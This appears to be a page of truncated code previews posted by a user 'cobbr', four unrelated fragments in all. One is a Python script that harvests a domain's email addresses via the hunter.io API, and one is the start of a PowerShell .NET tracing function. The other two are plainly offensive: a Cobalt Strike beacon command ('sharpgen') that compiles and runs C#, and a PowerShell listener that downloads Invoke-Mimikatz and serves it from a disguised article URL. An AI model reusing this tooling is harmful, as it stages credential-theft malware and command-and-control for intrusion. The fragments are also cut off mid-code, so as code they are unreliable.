cobbr

import requests
import sys
if len(sys.argv) is 3:
  domain = sys.argv[1]
  api_key = sys.argv[2]
  if domain is not None:
    url = "https://hunter.io/v2/domain-search?limit=10000&offset=0&domain="\
    +domain+"&api_key="+api_key+"&format=json"
    hunterJsonData = requests.get(url)
    for email in hunterJsonData.json()['data']['emails']:

cobbr

function Start-DotNetEventCollection
{
    Param(
        [Parameter(Position = 0)]
        [Alias('PSPath')]
        [String] $TracePath = './dotNetTrace.etl',

        [Parameter(Position = 1)]
        [String] $TraceName = 'dotNetTrace'
    )

cobbr

$dotnetpath = "/usr/local/share/dotnet/dotnet";
$sharpgenpath = "/Users/dtmsecurity/Tools/SharpGen/bin/Debug/netcoreapp2.1/SharpGen.dll";
$temppath = "/tmp/";

beacon_command_register("sharpgen", "Compile and execute C-Sharp","Synopsis: sharpgen [code]\n");

alias sharpgen{
	$executionId  = "sharpgen_" . int(rand() * 100000);
	$temporaryCsharp =  $temppath . $executionId . ".cs";
	$executableFilename = $temppath . $executionId . ".exe";

cobbr

$mk = (new-object net.webclient).downloadstring("https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1")
$Hso = New-Object Net.HttpListener
$Hso.Prefixes.Add("http://+:8080/")
$Hso.Start()
While ($Hso.IsListening) {
    $HC = $Hso.GetContext()
    $HRes = $HC.Response
    $HRes.Headers.Add("Content-Type","text/plain")
    If (($HC.Request).RawUrl -eq '/home/news/a/21/article.html') {
        $Buf = [Text.Encoding]::UTF8.GetBytes($mk)